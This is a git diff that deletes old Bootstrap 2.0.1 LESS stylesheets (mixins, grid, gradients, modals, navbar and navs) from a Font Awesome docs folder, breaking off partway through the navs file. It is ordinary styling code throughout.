-    .span5     { #gridSystem > .columns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 5); }
-    .span6     { #gridSystem > .columns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 6); }
-    .span7     { #gridSystem > .columns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 7); }
-    .span8     { #gridSystem > .columns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 8); }
-    .span9     { #gridSystem > .columns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 9); }
-    .span10    { #gridSystem > .columns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 10); }
-    .span11    { #gridSystem > .columns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 11); }
-    .span12,
-    .container { #gridSystem > .columns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 12); }
-    // Offset column options
-    .offset1   { #gridSystem > .offset(@gridColumnWidth, @gridGutterWidth, 1); }
-    .offset2   { #gridSystem > .offset(@gridColumnWidth, @gridGutterWidth, 2); }
-    .offset3   { #gridSystem > .offset(@gridColumnWidth, @gridGutterWidth, 3); }
-    .offset4   { #gridSystem > .offset(@gridColumnWidth, @gridGutterWidth, 4); }
-    .offset5   { #gridSystem > .offset(@gridColumnWidth, @gridGutterWidth, 5); }
-    .offset6   { #gridSystem > .offset(@gridColumnWidth, @gridGutterWidth, 6); }
-    .offset7   { #gridSystem > .offset(@gridColumnWidth, @gridGutterWidth, 7); }
-    .offset8   { #gridSystem > .offset(@gridColumnWidth, @gridGutterWidth, 8); }
-    .offset9   { #gridSystem > .offset(@gridColumnWidth, @gridGutterWidth, 9); }
-    .offset10  { #gridSystem > .offset(@gridColumnWidth, @gridGutterWidth, 10); }
-    .offset11  { #gridSystem > .offset(@gridColumnWidth, @gridGutterWidth, 11); }
-  }
-}
-
-// Fluid grid system
-// -------------------------
-#fluidGridSystem {
-  // Setup the mixins to be used
-  .columns(@fluidGridGutterWidth, @fluidGridColumnWidth, @columns) {
-    width: 1% * (@fluidGridColumnWidth * @columns) + (@fluidGridGutterWidth * (@columns - 1));
-  }
-  .gridColumn(@fluidGridGutterWidth) {
-    float: left;
-    margin-left: @fluidGridGutterWidth;
-  }
-  // Take these values and mixins, and make 'em do their thang
-  .generate(@gridColumns, @fluidGridColumnWidth, @fluidGridGutterWidth) {
-    // Row surrounds the columns
-    .row-fluid {
-      width: 100%;
-      .clearfix();
-
-      // Find all .span# classes within .row and give them the necessary properties for grid columns (supported by all browsers back to IE7, thanks @dhg)
-      > [class*="span"] {
-        #fluidGridSystem > .gridColumn(@fluidGridGutterWidth);
-      }
-      > [class*="span"]:first-child {
-        margin-left: 0;
-      }
-      // Default columns
-      > .span1     { #fluidGridSystem > .columns(@fluidGridGutterWidth, @fluidGridColumnWidth, 1); }
-      > .span2     { #fluidGridSystem > .columns(@fluidGridGutterWidth, @fluidGridColumnWidth, 2); }
-      > .span3     { #fluidGridSystem > .columns(@fluidGridGutterWidth, @fluidGridColumnWidth, 3); }
-      > .span4     { #fluidGridSystem > .columns(@fluidGridGutterWidth, @fluidGridColumnWidth, 4); }
-      > .span5     { #fluidGridSystem > .columns(@fluidGridGutterWidth, @fluidGridColumnWidth, 5); }
-      > .span6     { #fluidGridSystem > .columns(@fluidGridGutterWidth, @fluidGridColumnWidth, 6); }
-      > .span7     { #fluidGridSystem > .columns(@fluidGridGutterWidth, @fluidGridColumnWidth, 7); }
-      > .span8     { #fluidGridSystem > .columns(@fluidGridGutterWidth, @fluidGridColumnWidth, 8); }
-      > .span9     { #fluidGridSystem > .columns(@fluidGridGutterWidth, @fluidGridColumnWidth, 9); }
-      > .span10    { #fluidGridSystem > .columns(@fluidGridGutterWidth, @fluidGridColumnWidth, 10); }
-      > .span11    { #fluidGridSystem > .columns(@fluidGridGutterWidth, @fluidGridColumnWidth, 11); }
-      > .span12    { #fluidGridSystem > .columns(@fluidGridGutterWidth, @fluidGridColumnWidth, 12); }
-    }
-  }
-}
-
-// Input grid system
-// -------------------------
-#inputGridSystem {
-  .inputColumns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, @columns) {
-    width: ((@gridColumnWidth) * @columns) + (@gridGutterWidth * (@columns - 1)) - 10;
-  }
-  .generate(@gridColumns, @gridColumnWidth, @gridGutterWidth) {
-    input,
-    textarea,
-    .uneditable-input {
-      &.span1     { #inputGridSystem > .inputColumns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 1); }
-      &.span2     { #inputGridSystem > .inputColumns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 2); }
-      &.span3     { #inputGridSystem > .inputColumns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 3); }
-      &.span4     { #inputGridSystem > .inputColumns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 4); }
-      &.span5     { #inputGridSystem > .inputColumns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 5); }
-      &.span6     { #inputGridSystem > .inputColumns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 6); }
-      &.span7     { #inputGridSystem > .inputColumns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 7); }
-      &.span8     { #inputGridSystem > .inputColumns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 8); }
-      &.span9     { #inputGridSystem > .inputColumns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 9); }
-      &.span10    { #inputGridSystem > .inputColumns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 10); }
-      &.span11    { #inputGridSystem > .inputColumns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 11); }
-      &.span12    { #inputGridSystem > .inputColumns(@gridGutterWidth, @gridColumnWidth, @gridRowWidth, 12); }
-    }
-  }
-}
-
-// Make a Grid
-// -------------------------
-// Use .makeRow and .makeColumn to assign semantic layouts grid system behavior
-.makeRow() {
-  margin-left: @gridGutterWidth * -1;
-  .clearfix();
-}
-.makeColumn(@columns: 1) {
-  float: left;
-  margin-left: @gridGutterWidth;
-  width: (@gridColumnWidth * @columns) + (@gridGutterWidth * (@columns - 1));
-}
-
-
-
-// Form field states (used in forms.less)
-// --------------------------------------------------
-
-// Mixin for form field states
-.formFieldState(@textColor: #555, @borderColor: #ccc, @backgroundColor: #f5f5f5) {
-  // Set the text color
-  > label,
-  .help-block,
-  .help-inline {
-    color: @textColor;
-  }
-  // Style inputs accordingly
-  input,
-  select,
-  textarea {
-    color: @textColor;
-    border-color: @borderColor;
-    &:focus {
-      border-color: darken(@borderColor, 10%);
-      .box-shadow(0 0 6px lighten(@borderColor, 20%));
-    }
-  }
-  // Give a small background color for input-prepend/-append
-  .input-prepend .add-on,
-  .input-append .add-on {
-    color: @textColor;
-    background-color: @backgroundColor;
-    border-color: @textColor;
-  }
-}
-
-
-
-// CSS3 PROPERTIES
-// --------------------------------------------------
-
-// Border Radius
-.border-radius(@radius: 5px) {
-  -webkit-border-radius: @radius;
-     -moz-border-radius: @radius;
-          border-radius: @radius;
-}
-
-// Drop shadows
-.box-shadow(@shadow: 0 1px 3px rgba(0,0,0,.25)) {
-  -webkit-box-shadow: @shadow;
-     -moz-box-shadow: @shadow;
-          box-shadow: @shadow;
-}
-
-// Transitions
-.transition(@transition) {
-  -webkit-transition: @transition;
-     -moz-transition: @transition;
-      -ms-transition: @transition;
-       -o-transition: @transition;
-          transition: @transition;
-}
-
-// Transformations
-.rotate(@degrees) {
-  -webkit-transform: rotate(@degrees);
-     -moz-transform: rotate(@degrees);
-      -ms-transform: rotate(@degrees);
-       -o-transform: rotate(@degrees);
-          transform: rotate(@degrees);
-}
-.scale(@ratio) {
-  -webkit-transform: scale(@ratio);
-     -moz-transform: scale(@ratio);
-      -ms-transform: scale(@ratio);
-       -o-transform: scale(@ratio);
-          transform: scale(@ratio);
-}
-.translate(@x: 0, @y: 0) {
-  -webkit-transform: translate(@x, @y);
-     -moz-transform: translate(@x, @y);
-      -ms-transform: translate(@x, @y);
-       -o-transform: translate(@x, @y);
-          transform: translate(@x, @y);
-}
-.skew(@x: 0, @y: 0) {
-  -webkit-transform: skew(@x, @y);
-     -moz-transform: skew(@x, @y);
-      -ms-transform: skew(@x, @y);
-       -o-transform: skew(@x, @y);
-          transform: skew(@x, @y);
-}
-.translate3d(@x: 0, @y: 0, @z: 0) {
-  -webkit-transform: translate(@x, @y, @z);
-     -moz-transform: translate(@x, @y, @z);
-      -ms-transform: translate(@x, @y, @z);
-       -o-transform: translate(@x, @y, @z);
-          transform: translate(@x, @y, @z);
-}
-
-// Background clipping
-// Heads up: FF 3.6 and under need "padding" instead of "padding-box"
-.background-clip(@clip) {
-  -webkit-background-clip: @clip;
-     -moz-background-clip: @clip;
-          background-clip: @clip;
-}
-
-// Background sizing
-.background-size(@size){
-  -webkit-background-size: @size;
-     -moz-background-size: @size;
-       -o-background-size: @size;
-          background-size: @size;
-}
-
-
-// Box sizing
-.box-sizing(@boxmodel) {
-  -webkit-box-sizing: @boxmodel;
-     -moz-box-sizing: @boxmodel;
-          box-sizing: @boxmodel;
-}
-
-// User select
-// For selecting text on the page
-.user-select(@select) {
-  -webkit-user-select: @select;
-     -moz-user-select: @select;
-       -o-user-select: @select;
-          user-select: @select;
-}
-
-// Resize anything
-.resizable(@direction: both) {
-  resize: @direction; // Options: horizontal, vertical, both
-  overflow: auto; // Safari fix
-}
-
-// CSS3 Content Columns
-.content-columns(@columnCount, @columnGap: @gridColumnGutter) {
-  -webkit-column-count: @columnCount;
-     -moz-column-count: @columnCount;
-          column-count: @columnCount;
-  -webkit-column-gap: @columnGap;
-     -moz-column-gap: @columnGap;
-          column-gap: @columnGap;
-}
-
-// Opacity
-.opacity(@opacity: 100) {
-  opacity: @opacity / 100;
-   filter: e(%("alpha(opacity=%d)", @opacity));
-}
-
-
-
-// BACKGROUNDS
-// --------------------------------------------------
-
-// Add an alphatransparency value to any background or border color (via Elyse Holladay)
-#translucent {
-  .background(@color: @white, @alpha: 1) {
-    background-color: hsla(hue(@color), saturation(@color), lightness(@color), @alpha);
-  }
-  .border(@color: @white, @alpha: 1) {
-    border-color: hsla(hue(@color), saturation(@color), lightness(@color), @alpha);
-    .background-clip(padding-box);
-  }
-}
-
-// Gradient Bar Colors for buttons and alerts
-.gradientBar(@primaryColor, @secondaryColor) {
-  #gradient > .vertical(@primaryColor, @secondaryColor);
-  border-color: @secondaryColor @secondaryColor darken(@secondaryColor, 15%);
-  border-color: rgba(0,0,0,.1) rgba(0,0,0,.1) fadein(rgba(0,0,0,.1), 15%);
-}
-
-// Gradients
-#gradient {
-  .horizontal(@startColor: #555, @endColor: #333) {
-    background-color: @endColor;
-    background-image: -moz-linear-gradient(left, @startColor, @endColor); // FF 3.6+
-    background-image: -ms-linear-gradient(left, @startColor, @endColor); // IE10
-    background-image: -webkit-gradient(linear, 0 0, 100% 0, from(@startColor), to(@endColor)); // Safari 4+, Chrome 2+
-    background-image: -webkit-linear-gradient(left, @startColor, @endColor); // Safari 5.1+, Chrome 10+
-    background-image: -o-linear-gradient(left, @startColor, @endColor); // Opera 11.10
-    background-image: linear-gradient(left, @startColor, @endColor); // Le standard
-    background-repeat: repeat-x;
-    filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)",@startColor,@endColor)); // IE9 and down
-  }
-  .vertical(@startColor: #555, @endColor: #333) {
-    background-color: mix(@startColor, @endColor, 60%);
-    background-image: -moz-linear-gradient(top, @startColor, @endColor); // FF 3.6+
-    background-image: -ms-linear-gradient(top, @startColor, @endColor); // IE10
-    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(@startColor), to(@endColor)); // Safari 4+, Chrome 2+
-    background-image: -webkit-linear-gradient(top, @startColor, @endColor); // Safari 5.1+, Chrome 10+
-    background-image: -o-linear-gradient(top, @startColor, @endColor); // Opera 11.10
-    background-image: linear-gradient(top, @startColor, @endColor); // The standard
-    background-repeat: repeat-x;
-    filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)",@startColor,@endColor)); // IE9 and down
-  }
-  .directional(@startColor: #555, @endColor: #333, @deg: 45deg) {
-    background-color: @endColor;
-    background-repeat: repeat-x;
-    background-image: -moz-linear-gradient(@deg, @startColor, @endColor); // FF 3.6+
-    background-image: -ms-linear-gradient(@deg, @startColor, @endColor); // IE10
-    background-image: -webkit-linear-gradient(@deg, @startColor, @endColor); // Safari 5.1+, Chrome 10+
-    background-image: -o-linear-gradient(@deg, @startColor, @endColor); // Opera 11.10
-    background-image: linear-gradient(@deg, @startColor, @endColor); // The standard
-  }
-  .vertical-three-colors(@startColor: #00b3ee, @midColor: #7a43b6, @colorStop: 50%, @endColor: #c3325f) {
-    background-color: mix(@midColor, @endColor, 80%);
-    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(@startColor), color-stop(@colorStop, @midColor), to(@endColor));
-    background-image: -webkit-linear-gradient(@startColor, @midColor @colorStop, @endColor);
-    background-image: -moz-linear-gradient(top, @startColor, @midColor @colorStop, @endColor);
-    background-image: -ms-linear-gradient(@startColor, @midColor @colorStop, @endColor);
-    background-image: -o-linear-gradient(@startColor, @midColor @colorStop, @endColor);
-    background-image: linear-gradient(@startColor, @midColor @colorStop, @endColor);
-    background-repeat: no-repeat;
-    filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)",@startColor,@endColor)); // IE9 and down, gets no color-stop at all for proper fallback
-  }
-  .radial(@innerColor: #555, @outerColor: #333)  {
-    background-color: @outerColor;
-    background-image: -webkit-gradient(radial, center center, 0, center center, 460, from(@innerColor), to(@outerColor));
-    background-image: -webkit-radial-gradient(circle, @innerColor, @outerColor);
-    background-image: -moz-radial-gradient(circle, @innerColor, @outerColor);
-    background-image: -ms-radial-gradient(circle, @innerColor, @outerColor);
-    background-repeat: no-repeat;
-    // Opera cannot do radial gradients yet
-  }
-  .striped(@color, @angle: -45deg) {
-    background-color: @color;
-    background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(.25, rgba(255,255,255,.15)), color-stop(.25, transparent), color-stop(.5, transparent), color-stop(.5, rgba(255,255,255,.15)), color-stop(.75, rgba(255,255,255,.15)), color-stop(.75, transparent), to(transparent));
-    background-image: -webkit-linear-gradient(@angle, rgba(255,255,255,.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,.15) 50%, rgba(255,255,255,.15) 75%, transparent 75%, transparent);
-    background-image: -moz-linear-gradient(@angle, rgba(255,255,255,.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,.15) 50%, rgba(255,255,255,.15) 75%, transparent 75%, transparent);
-    background-image: -ms-linear-gradient(@angle, rgba(255,255,255,.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,.15) 50%, rgba(255,255,255,.15) 75%, transparent 75%, transparent);
-    background-image: -o-linear-gradient(@angle, rgba(255,255,255,.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,.15) 50%, rgba(255,255,255,.15) 75%, transparent 75%, transparent);
-    background-image: linear-gradient(@angle, rgba(255,255,255,.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,.15) 50%, rgba(255,255,255,.15) 75%, transparent 75%, transparent);
-  }
-}
-// Reset filters for IE
-.reset-filter() {
-  filter: e(%("progid:DXImageTransform.Microsoft.gradient(enabled = false)"));
-}
-
-
-// Mixin for generating button backgrounds
-// ---------------------------------------
-.buttonBackground(@startColor, @endColor) {
-  // gradientBar will set the background to a pleasing blend of these, to support IE<=9
-  .gradientBar(@startColor, @endColor);
-  .reset-filter();
-
-  // in these cases the gradient won't cover the background, so we override
-  &:hover, &:active, &.active, &.disabled, &[disabled] {
-    background-color: @endColor;
-  }
-
-  // IE 7 + 8 can't handle box-shadow to show active, so we darken a bit ourselves
-  &:active,
-  &.active {
-    background-color: darken(@endColor, 10%) e("\9");
-  }
-}
-
-
-// COMPONENT MIXINS
-// --------------------------------------------------
-
-// POPOVER ARROWS
-// -------------------------
-// For tipsies and popovers
-#popoverArrow {
-  .top(@arrowWidth: 5px) {
-    bottom: 0;
-    left: 50%;
-    margin-left: -@arrowWidth;
-    border-left: @arrowWidth solid transparent;
-    border-right: @arrowWidth solid transparent;
-    border-top: @arrowWidth solid @black;
-  }
-  .left(@arrowWidth: 5px) {
-    top: 50%;
-    right: 0;
-    margin-top: -@arrowWidth;
-    border-top: @arrowWidth solid transparent;
-    border-bottom: @arrowWidth solid transparent;
-    border-left: @arrowWidth solid @black;
-  }
-  .bottom(@arrowWidth: 5px) {
-    top: 0;
-    left: 50%;
-    margin-left: -@arrowWidth;
-    border-left: @arrowWidth solid transparent;
-    border-right: @arrowWidth solid transparent;
-    border-bottom: @arrowWidth solid @black;
-  }
-  .right(@arrowWidth: 5px) {
-    top: 50%;
-    left: 0;
-    margin-top: -@arrowWidth;
-    border-top: @arrowWidth solid transparent;
-    border-bottom: @arrowWidth solid transparent;
-    border-right: @arrowWidth solid @black;
-  }
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/modals.less b/assets/font-awesome/docs/assets/less/tw-bs-201/modals.less
deleted file mode 100755
index d1e06dc2..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/modals.less
+++ /dev/null
@@ -1,83 +0,0 @@
-// MODALS
-// ------
-
-// Recalculate z-index where appropriate
-.modal-open {
-  .dropdown-menu {  z-index: @zindexDropdown + @zindexModal; }
-  .dropdown.open { *z-index: @zindexDropdown + @zindexModal; }
-  .popover       {  z-index: @zindexPopover  + @zindexModal; }
-  .tooltip       {  z-index: @zindexTooltip  + @zindexModal; }
-}
-
-// Background
-.modal-backdrop {
-  position: fixed;
-  top: 0;
-  right: 0;
-  bottom: 0;
-  left: 0;
-  z-index: @zindexModalBackdrop;
-  background-color: @black;
-  // Fade for backdrop
-  &.fade { opacity: 0; }
-}
-
-.modal-backdrop,
-.modal-backdrop.fade.in {
-  .opacity(80);
-}
-
-// Base modal
-.modal {
-  position: fixed;
-  top: 50%;
-  left: 50%;
-  z-index: @zindexModal;
-  max-height: 500px;
-  overflow: auto;
-  width: 560px;
-  margin: -250px 0 0 -280px;
-  background-color: @white;
-  border: 1px solid #999;
-  border: 1px solid rgba(0,0,0,.3);
-  *border: 1px solid #999; /* IE6-7 */
-  .border-radius(6px);
-  .box-shadow(0 3px 7px rgba(0,0,0,0.3));
-  .background-clip(padding-box);
-  &.fade {
-    .transition(e('opacity .3s linear, top .3s ease-out'));
-    top: -25%;
-  }
-  &.fade.in { top: 50%; }
-}
-.modal-header {
-  padding: 9px 15px;
-  border-bottom: 1px solid #eee;
-  // Close icon
-  .close { margin-top: 2px; }
-}
-
-// Body (where all modal content resises)
-.modal-body {
-  padding: 15px;
-}
-// Remove bottom margin if need be
-.modal-body .modal-form {
-  margin-bottom: 0;
-}
-
-// Footer (for actions)
-.modal-footer {
-  padding: 14px 15px 15px;
-  margin-bottom: 0;
-  background-color: #f5f5f5;
-  border-top: 1px solid #ddd;
-  .border-radius(0 0 6px 6px);
-  .box-shadow(inset 0 1px 0 @white);
-  .clearfix();
-  .btn {
-    float: right;
-    margin-left: 5px;
-    margin-bottom: 0; // account for input[type="submit"] which gets the bottom margin like all other inputs
-  }
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/navbar.less b/assets/font-awesome/docs/assets/less/tw-bs-201/navbar.less
deleted file mode 100755
index 16553c1f..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/navbar.less
+++ /dev/null
@@ -1,299 +0,0 @@
-// NAVBAR (FIXED AND STATIC)
-// -------------------------
-
-
-// COMMON STYLES
-// -------------
-
-.navbar {
-  overflow: visible;
-  margin-bottom: @baseLineHeight;
-}
-
-// Gradient is applied to it's own element because overflow visible is not honored by IE when filter is present
-.navbar-inner {
-  padding-left:  20px;
-  padding-right: 20px;
-  #gradient > .vertical(@navbarBackgroundHighlight, @navbarBackground);
-  .border-radius(4px);
-  @shadow: 0 1px 3px rgba(0,0,0,.25), inset 0 -1px 0 rgba(0,0,0,.1);
-  .box-shadow(@shadow);
-}
-
-// Navbar button for toggling navbar items in responsive layouts
-.btn-navbar {
-  display: none;
-  float: right;
-  padding: 7px 10px;
-  margin-left: 5px;
-  margin-right: 5px;
-  .buttonBackground(@navbarBackgroundHighlight, @navbarBackground);
-  @shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.075);
-  .box-shadow(@shadow);
-}
-.btn-navbar .icon-bar {
-  display: block;
-  width: 18px;
-  height: 2px;
-  background-color: #f5f5f5;
-  .border-radius(1px);
-  .box-shadow(0 1px 0 rgba(0,0,0,.25));
-}
-.btn-navbar .icon-bar + .icon-bar {
-  margin-top: 3px;
-}
-// Override the default collapsed state
-.nav-collapse.collapse {
-  height: auto;
-}
-
-
-// Brand, links, text, and buttons
-.navbar {
-  // Hover and active states
-  .brand:hover {
-    text-decoration: none;
-  }
-  // Website or project name
-  .brand {
-    float: left;
-    display: block;
-    padding: 8px 20px 12px;
-    margin-left: -20px; // negative indent to left-align the text down the page
-    font-size: 20px;
-    font-weight: 200;
-    line-height: 1;
-    color: @white;
-  }
-  // Plain text in topbar
-  .navbar-text {
-    margin-bottom: 0;
-    line-height: 40px;
-    color: @navbarText;
-    a:hover {
-      color: @white;
-      background-color: transparent;
-    }
-  }
-  // Buttons in navbar
-  .btn,
-  .btn-group {
-    margin-top: 5px; // make buttons vertically centered in navbar
-  }
-  .btn-group .btn {
-    margin-top: 0; // then undo the margin here so we don't accidentally double it
-  }
-}
-
-// Navbar forms
-.navbar-form {
-  margin-bottom: 0; // remove default bottom margin
-  .clearfix();
-  input,
-  select {
-    display: inline-block;
-    margin-top: 5px;
-    margin-bottom: 0;
-  }
-  .radio,
-  .checkbox {
-    margin-top: 5px;
-  }
-  input[type="image"],
-  input[type="checkbox"],
-  input[type="radio"] {
-    margin-top: 3px;
-  }
-  .input-append,
-  .input-prepend {
-    margin-top: 6px;
-    white-space: nowrap; // preven two  items from separating within a .navbar-form that has .pull-left
-    input {
-      margin-top: 0; // remove the margin on top since it's on the parent
-    }
-  }
-}
-
-// Navbar search
-.navbar-search {
-  position: relative;
-  float: left;
-  margin-top: 6px;
-  margin-bottom: 0;
-  .search-query {
-    padding: 4px 9px;
-    #font > .sans-serif(13px, normal, 1);
-    color: @white;
-    color: rgba(255,255,255,.75);
-    background: #666;
-    background: rgba(255,255,255,.3);
-    border: 1px solid #111;
-    @shadow: inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0px rgba(255,255,255,.15);
-    .box-shadow(@shadow);
-    .transition(none);
-
-    // Placeholder text gets special styles; can't be bundled together though for some reason
-    .placeholder(@grayLighter);
-
-    // Hover states
-    &:hover {
-      color: @white;
-      background-color: @grayLight;
-      background-color: rgba(255,255,255,.5);
-    }
-    // Focus states (we use .focused since IE7-8 and down doesn't support :focus)
-    &:focus,
-    &.focused {
-      padding: 5px 10px;
-      color: @grayDark;
-      text-shadow: 0 1px 0 @white;
-      background-color: @white;
-      border: 0;
-      .box-shadow(0 0 3px rgba(0,0,0,.15));
-      outline: 0;
-    }
-  }
-}
-
-
-// FIXED NAVBAR
-// ------------
-
-.navbar-fixed-top {
-  position: fixed;
-  top: 0;
-  right: 0;
-  left: 0;
-  z-index: @zindexFixedNavbar;
-}
-.navbar-fixed-top .navbar-inner {
-  padding-left:  0;
-  padding-right: 0;
-  .border-radius(0);
-}
-
-
-// NAVIGATION
-// ----------
-
-.navbar .nav {
-  position: relative;
-  left: 0;
-  display: block;
-  float: left;
-  margin: 0 10px 0 0;
-}
-.navbar .nav.pull-right {
-  float: right; // redeclare due to specificity
-}
-.navbar .nav > li {
-  display: block;
-  float: left;
-}
-
-// Links
-.navbar .nav > li > a {
-  float: none;
-  padding: 10px 10px 11px;
-  line-height: 19px;
-  color: @navbarLinkColor;
-  text-decoration: none;
-  text-shadow: 0 -1px 0 rgba(0,0,0,.25);
-}
-// Hover
-.navbar .nav > li > a:hover {
-  background-color: @navbarLinkBackgroundHover; // "transparent" is default to differentiate :hover from .active
-  color: @navbarLinkColorHover;
-  text-decoration: none;
-}
-
-// Active nav items
-.navbar .nav .active > a,
-.navbar .nav .active > a:hover {
-  color: @navbarLinkColorHover;
-  text-decoration: none;
-  background-color: @navbarBackground;
-}
-
-// Dividers (basically a vertical hr)
-.navbar .divider-vertical {
-  height: @navbarHeight;
-  width: 1px;
-  margin: 0 9px;
-  overflow: hidden;
-  background-color: @navbarBackground;
-  border-right: 1px solid @navbarBackgroundHighlight;
-}
-
-// Secondary (floated right) nav in topbar
-.navbar .nav.pull-right {
-  margin-left: 10px;
-  margin-right: 0;
-}
-
-
-
-// Dropdown menus
-// --------------
-
-// Menu position and menu carets
-.navbar .dropdown-menu {
-  margin-top: 1px;
-  .border-radius(4px);
-  &:before {
-    content: '';
-    display: inline-block;
-    border-left:   7px solid transparent;
-    border-right:  7px solid transparent;
-    border-bottom: 7px solid #ccc;
-    border-bottom-color: rgba(0,0,0,.2);
-    position: absolute;
-    top: -7px;
-    left: 9px;
-  }
-  &:after {
-    content: '';
-    display: inline-block;
-    border-left:   6px solid transparent;
-    border-right:  6px solid transparent;
-    border-bottom: 6px solid @white;
-    position: absolute;
-    top: -6px;
-    left: 10px;
-  }
-}
-
-// Dropdown toggle caret
-.navbar .nav .dropdown-toggle .caret,
-.navbar .nav .open.dropdown .caret {
-  border-top-color: @white;
-}
-.navbar .nav .active .caret {
-  .opacity(100);
-}
-
-// Remove background color from open dropdown
-.navbar .nav .open > .dropdown-toggle,
-.navbar .nav .active > .dropdown-toggle,
-.navbar .nav .open.active > .dropdown-toggle {
-  background-color: transparent;
-}
-
-// Dropdown link on hover
-.navbar .nav .active > .dropdown-toggle:hover {
-  color: @white;
-}
-
-// Right aligned menus need alt position
-.navbar .nav.pull-right .dropdown-menu {
-  left: auto;
-  right: 0;
-  &:before {
-    left: auto;
-    right: 12px;
-  }
-  &:after {
-    left: auto;
-    right: 13px;
-  }
-}
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/navs.less b/assets/font-awesome/docs/assets/less/tw-bs-201/navs.less
deleted file mode 100755
index 06219fa6..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/navs.less
+++ /dev/null
@@ -1,353 +0,0 @@
-// NAVIGATIONS
-// -----------
-
-
-
-// BASE CLASS
-// ----------
-
-.nav {
-  margin-left: 0;
-  margin-bottom: @baseLineHeight;
-  list-style: none;
-}
-
-// Make links block level
-.nav > li > a {
-  display: block;
-}
-.nav > li > a:hover {
-  text-decoration: none;
-  background-color: @grayLighter;
-}
-
-// Nav headers (for dropdowns and lists)
-.nav .nav-header {
-  display: block;
-  padding: 3px 15px;
-  font-size: 11px;
-  font-weight: bold;
-  line-height: @baseLineHeight;
-  color: @grayLight;
-  text-shadow: 0 1px 0 rgba(255,255,255,.5);
-  text-transform: uppercase;
-}
-// Space them out when they follow another list item (link)
-.nav li + .nav-header {
-  margin-top: 9px;
-}
-
-
-// NAV LIST
-// --------
-
-.nav-list {
-  padding-left: 14px;
-  padding-right: 14px;
-  margin-bottom: 0;
-}
-.nav-list > li > a,
-.nav-list .nav-header {
-  margin-left:  -15px;
-  margin-right: -15px;
-  text-shadow: 0 1px 0 rgba(255,255,255,.5);
-}
-.nav-list > li > a {
-  padding: 3px 15px;
-}
-.nav-list .active > a,
-.nav-list .active > a:hover {
-  color: @white;
-  text-shadow: 0 -1px 0 rgba(0,0,0,.2);
-  background-color: @linkColor;
-}
-.nav-list [class^="icon-"] {
-  margin-right: 2px;
-}
-
-
-
-// TABS AND PILLS
-// -------------
-
-// Common styles
-.nav-tabs,
-.nav-pills {
-  .clearfix();
-}
-.nav-tabs > li,
-.nav-pills > li {
-  float: left;
-}
-.nav-tabs > li > a,
-.nav-pills > li > a {
-  padding-right: 12px;
-  padding-left: 12px;
-  margin-right: 2px;
-  line-height: 14px; // keeps the overall height an even number
-}
-
-// TABS
-// ----
-
-// Give the tabs something to sit on
-.nav-tabs {
-  border-bottom: 1px solid #ddd;
-}
-
-// Make the list-items overlay the bottom border
-.nav-tabs > li {
-  margin-bottom: -1px;
-}
-
-// Actual tabs (as links)
-.nav-tabs > li > a {
-  padding-top: 9px;
-  padding-bottom: 9px;
-  border: 1px solid transparent;
-  .border-radius(4px 4px 0 0);
-  &:hover {
-    border-color: @grayLighter @grayLighter #ddd;
-  }
-}
-// Active state, and it's :hover to override normal :hover
-.nav-tabs > .active > a,
-.nav-tabs > .active > a:hover {
-  color: @gray;
-  background-color: @white;
-  border: 1px solid #ddd;
-  border-bottom-color: transparent;
-  cursor: default;
-}
-
-// PILLS
-// -----
-
-// Links rendered as pills
-.nav-pills > li > a {
-  padding-top: 8px;
-  padding-bottom: 8px;
-  margin-top: 2px;
-  margin-bottom: 2px;
-  .border-radius(5px);
-}
-
-// Active state
-.nav-pills .active > a,
-.nav-pills .active > a:hover {
-  color: @white;
-  background-color: @linkColor;
-}
-
-
-
-// STACKED NAV
-// -----------
-
-// Stacked tabs and pills
-.nav-stacked > li {
-  float: none;
-}
-.nav-stacked > li > a {
-  margin-right: 0; // no need for the gap between nav items
-}
-
-// Tabs
-.nav-tabs.nav-stacked {
-  border-bottom: 0;
-}
-.nav-tabs.nav-stacked > li > a {
-  border: 1px solid #ddd;
-  .border-radius(0);
-}
-.nav-tabs.nav-stacked > li:first-child > a {
-  .border-radius(4px 4px 0 0);
-}
-.nav-tabs.nav-stacked > li:last-child > a {
-  .border-radius(0 0 4px 4px);
-}
-.nav-tabs.nav-stacked > li > a:hover {
-  border-color: #ddd;
-  z-index: 2;
-}
-
-// Pills
-.nav-pills.nav-stacked > li > a {
-  margin-bottom: 3px;
